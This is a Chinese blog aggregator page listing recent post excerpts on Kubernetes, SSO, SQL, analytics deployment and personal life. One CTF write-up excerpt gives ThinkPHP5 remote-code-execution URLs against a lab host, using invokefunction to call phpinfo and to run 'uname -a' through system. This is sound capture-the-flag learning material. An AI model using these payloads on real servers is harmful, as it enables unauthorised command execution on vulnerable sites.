聚合文章

汇集全部已收录博客的最新文章,点击标题前往原文阅读。

排序方式:最新发布
s5n.xyz s5n.xyz 2025-10-17

Thread Sanitizer 分析

Thread Sanitizer 分析 Sanitizer 最早是由 Google 提出,一开始只有 ASAN (Address Sanitizer),后来有了 Leak Sanitizer、Memory Sanitizer、Thread Sanitizer、Undefined Behavior Sanitizer 这几个 Sanitizer 中,我对 ASAN 最为熟悉一些,ASAN 可以检测越界访问、double free、内存泄漏等问题。C/C++ 这种名声在外的内存不安全的编程语言,当然应该使用 ASAN 这种内存检测手段排查问题。 ASAN 对内存和性能都有影响,所以不建议在 Rel…

LiteNote LiteNote 2025-10-17

c# sqlserver大量插入数据解决方案

最近做了一个.NET Framework 程序,将从远程接口请求的数据同步到sqlserver数据库中;当数据量小的时候,常规的添加操作是没什么问题的。但数据量比较大时(通常1000行及以上),会花费比较多的时间。这时SqlBulkCopy就能显著的解决这个问题。 1、SqlBulkCopy介绍 S

www.xfabe.com www.xfabe.com 2025-10-17

知乎服务器崩了, 网页打不开了

【知乎突发服务故障引关注:PC端瘫痪、移动端受限,用户反馈集中爆发】2025年10月17日上午,国内知名知识分享平台知乎遭遇服务故障事件,引发用户广泛关注。据多名用户反馈及IT之家等多方消息源证实,此次故障呈现明显平台差异:PC端网页完全无法加载,移动端App虽能进入首页但无法正常查看问答详情页面,形成“半瘫痪”状态。大量用户通过社交媒体反映问题。PC端用户尝试访问知乎官网时,页面持续显示加载失败或空白,部分用户收到“服务不可用”提示;移动端用户则遭遇“首页可浏览但点击具体问答即卡顿”的异常体验,评论区、收藏夹等核心功能均受影响。值得注意的是,此次故障未出现区域性差异,全国多地用户均报告类似问…

Umami 部署完全指南

Umami是一款开源网站分析工具,作为Google Analytics的轻量级替代品,它不使用Cookie,不收集个人隐私数据,界面美观。文章介绍了多种主流部署方案,包括Zeabur一键部署、Vercel+在线数据库部署、Docker Compose自托管、Railway部署、Netlify部署和源码手动部署,每种方案都有详细的部署步骤和注意事项。此外,文章还提供了环境变量配置、常见问题解答和维护方法,如如何更新Umami、忘记管理员密码以及数据不显示等问题。

岁月小筑 岁月小筑 2025-10-17

“偷梁换柱”:给已有Kubernetes集群在ipv4的基础上开启ipv6功能并追加ipv6段(Cilium网络插件)

前言 好久没写文章了,惯例前言(狗头)。发生了一些有趣的事情,正好和大家分享一下。 背景大概是2005年的第一场雪(bushi),去年置换到腾讯云的时候,在使用KubeKey部署kubernetes集群的过程中,发现当时的KubeKey支持的最小IPv6地址池是 /80 还是 /64,过于大了,不方便管理ip段,也不方便复制容器的ip地址……

九夏小站 九夏小站 2025-10-17

CTF Misc Writeup

攻防世界Webphp_rce打开是个thinkphp5扫一遍发现有RCE漏洞利用RCE取phpinfohttp://61.147.171.35:56399/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100尝试执行shellhttp://61.147.171.35:56399/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=uname -a盲猜flag位置…

Authentik 集成Kubernetes Grafana 实现SSO单点登录

Authentik原生支持Grafana的单点登录,也可以批量划分权限。我这里Grafana是使用Kubernetes 部署的,详细修改配置和Docker部署相同,需要注意的地方我会整理出来 Grafana Grafana 是一款多平台开源分析和交互式可视化 Web 应用程序。连接到支持的数据源后,它能够提供 Web 图表、图形和警报。此外,Grafana Enterprise 版本还提供了更多功能。它可通过插件系统进行扩展。 Authentik authentik 是一个 IdP(身份提供者)和 SSO(单点登录

Authentik 集成群晖Synology DSM 实现单点登录

Authentik 官方支持群晖Synology DSM 7.1以上版本接入集成SSO,根据我本地测试,在群晖7.1版本是需要额外的LDAP在使用Authentik集成。 这里推荐使用Synology DSM 7.2以上版本进行接入 前置条件 Authentik Synology DSM 7.2 群晖需要提前部署用户 Authentik 应用程序创建 在应用程序中创建新应用 这里名称我叫做Synology 920+ 这里可以开启在新窗口打开 Authentik 提供程序创建 上面应用程序创建完毕后,在创建提供程序,

闲言碎语 闲言碎语 2025-10-16

朝京门:惠州六百年的砖瓦记忆

朝京门,初建于明洪武三年(1370年),曾称北门,后易名朝京门,被誉为“惠州天堑”。原建筑毁于战火,2006年依明代形制重建。斑驳墙体、厚重城门,诉说着从明初至今六百多年的风雨沧桑。它是东江要塞,更是惠州历史的无声见证者。

Berksey Berksey 2025-10-16

为 karakeep 爬虫配置 cookie 以绕过反爬虫机制

刷微博时看到有人介绍了自己的学习工作流,提到了一个名为 karakeep 的书签收藏软件。自己用 Docker 部署后发现确实好用,但是撞上反爬虫机制严重的网站就什么都爬不到了。查找后发现 karakeep 支持给爬虫设置 cookie,这样就能以正常用户身份去爬取数据。再经过一番努力后终于配置成功。这里附上教程,以供他人参考。

咸鱼星球 咸鱼星球 2025-10-16

Mac安装常用中间件客户端(命令行)

本文介绍了使用Homebrew安装MySQL、PostgreSQL、MongoDB、Redis和MinIO的命令行客户端的方法,包括安装命令、配置环境变量、验证安装及连接示例。还提供了交互式别名函数,简化远程数据库和服务的连接过程。

Origin Origin 2025-10-16

再看看 SQL 中的 null

NULL 与任何值的运算结果都是 NULLNULL 有一个很重要的特性:NULL 与任何值的运算结果都是 NULL12345SELECT 1 = 1; -- trueSELECT 1 = NULL; -- nullSELECT NULL = NULL; -- nullSELECT 1 != NULL; -- nullSELECT NULL != NULL; -- null这也就意味着,对于存在列 col BOOLEAN NULLABLE 的表,如果一行中 col 列的值为 NULL,则下面的四条查询都不会包含这行1234567-- 等于自不必说SELECT * FROM "table" WHE…

后 OCSP 时代,浏览器如何应对证书吊销新挑战

2023 年 8 月,CA/Browser Forum 通过了一项投票——不再强制要求 Let’s Encrypt 等公开信任的 CA 设立 OCSP Server 2024 年 7 月,Let's Encrypt 发布博客,披露其计划关闭 OCSP Server 同年 12 月,Let's Encrypt 发布其关闭 OCSP Server 的时间计划表,大致情况如下: 2025 年 1 月 30 日 - Let’s Encrypt 不再接受新的包含 OCSP Must-Staple 扩展的证书签发请求,除非你的账号先前申请过此类证书 2025 年 5 月 7 日 - Let's Encry…

Hi, I’m Vimiix Hi, I’m Vimiix 2025-10-16

Kubernetes APIServer 鉴权机制

1. 引言 在 Kubernetes 集群中,认证(Authentication)解决了“你是谁”的问题,而鉴权(Authorization)则解决了“你能做什么”的问题。鉴权是 Kubernetes 安全框架的核心支柱之一,它位于认证之后,用于确定一个已经通过身份认证的用户或服务账户(ServiceAccount)是否拥有对特定资源执行特定操作的权限。Kubernetes 采用了一种声明式的、基于属性的访问控制(ABAC)和基于角色的访问控制(RBAC)等模型来实现精细化的权限管理。本文将简单介绍 Kubernetes 的鉴权机制,包括其架构、工作流程、核心模型及详细实现原理。 2. 鉴权架…

SEO每天一贴 SEO每天一贴 2025-10-16

怎样使自己品牌出现在AI回答中?

针对AI搜索的SEO,大致上有两个优化方向:1)出现在AI回答的正文中,2)成为AI回答引用的出处。这篇帖子先讨论怎样使自己的品牌出现在AI回答的正文中。 The post 怎样使自己品牌出现在AI回答中? first appeared on SEO每天一贴.

团团生活志 团团生活志 2025-10-16

十月杂记-最近我在干啥

时间一晃就来到了十月中旬了,前几天还依旧记得躺在医院的病床上天天盼望着出院。10月7日我与往常一样洗完澡准备躺床上刷短视频,洗完澡后就觉得头疼身体滚烫。我就意识到我可能发烧了,于是乎打开美团App购买体温枪,一测量39.7°。就抓紧去人民医院发热门诊检查,医生让先抽血,等待了一个多小时。我在手机上看到了结果,登革热-阳性。医生让去二院住院观察,回到家收拾好衣物就去二院办理住院了,住院前又测量了一次体温39.3°。接下来的几天里一直是吊点滴(葡萄糖 钾)打屁股针 抽血化验 喝中药 吃退烧药,最终在10月13日办理出院。 今日又去人民医院去检查血常规是否正常,结果显示还是有两项指标异常。平均红细胞…

DGideas' Blog DGideas' Blog 2025-10-16

紫15旧寓的最后一晚

本文的作者是博主的一位发小。 半年前,hl 回清华,我们一同在五道口的意大利面馆吃了一顿,饭后一路走回学校。我… 继续阅读紫15旧寓的最后一晚

常见命名范式

现代项目常见命名范式 我相信不少萌新在接触完整项目时,会发现在代码中各个元素的命名都是有规律、成体系的。它们有规律,而且很简单。 规范范式的命名很重要,在社区/商企的实际项目中,遵循统一的命名规范可以极大地提高代码的可读性和可维护性。“统一度量衡” ,这是连秦始皇都明白的道理。只有组成的零部件在互通上不成障碍,才能加速主干部分的发展。 不同的命名法有各自的特点和常见的应用场景,通常在不同的编程语言或代码元素(如变量、函数、类)中会有所偏好,下表将对此大致介绍。 命名规范 格式 主要应用对象 常用语言/场景 示例 lowerCamelCase myVariableName 变量、函数、方法 Ja…

OTA中的寻址机制

随着智能网联汽车发展,电子电气架构日趋复杂,对OTA升级提出挑战。寻址机制是OTA的关键,决定消息发送对象和通信可靠性。传统OTA基于物理寻址和功能寻址,前者点对点精确访问ECU,后者广播用于ECU发现和版本查询。现代OTA架构引入广播、组播、逻辑和网络寻址,以适应以太网时代跨协议层的通信。不同寻址方式对应不同通信层次,共同构成完整的OTA“寻址金字塔”,保障云端到车端再到各ECU的可靠升级。理解各种寻址机制是构建可靠OTA系统的关键。

首页-生活笔记 首页-生活笔记 2025-10-16

🧩✅ Win11 登录状态丢失?详解 GHelper 导致的 Windows 凭据管理器失效问题(适用于华硕笔记本)

在 Windows 11 系统中,一些华硕笔记本用户发现每次重启后 Edge、Chrome、Outlook 等应用都会丢失登录状态。 罪魁祸首竟然是 G-Helper 的电池管理任务(GHelperCharge)在系统启动阶段过早运行,导致 Windows 凭据管理器初始化失败。 本文将详细分析该问题的原理,并教你通过“延迟启动任务”的方式安全修复,避免反复登录的烦恼。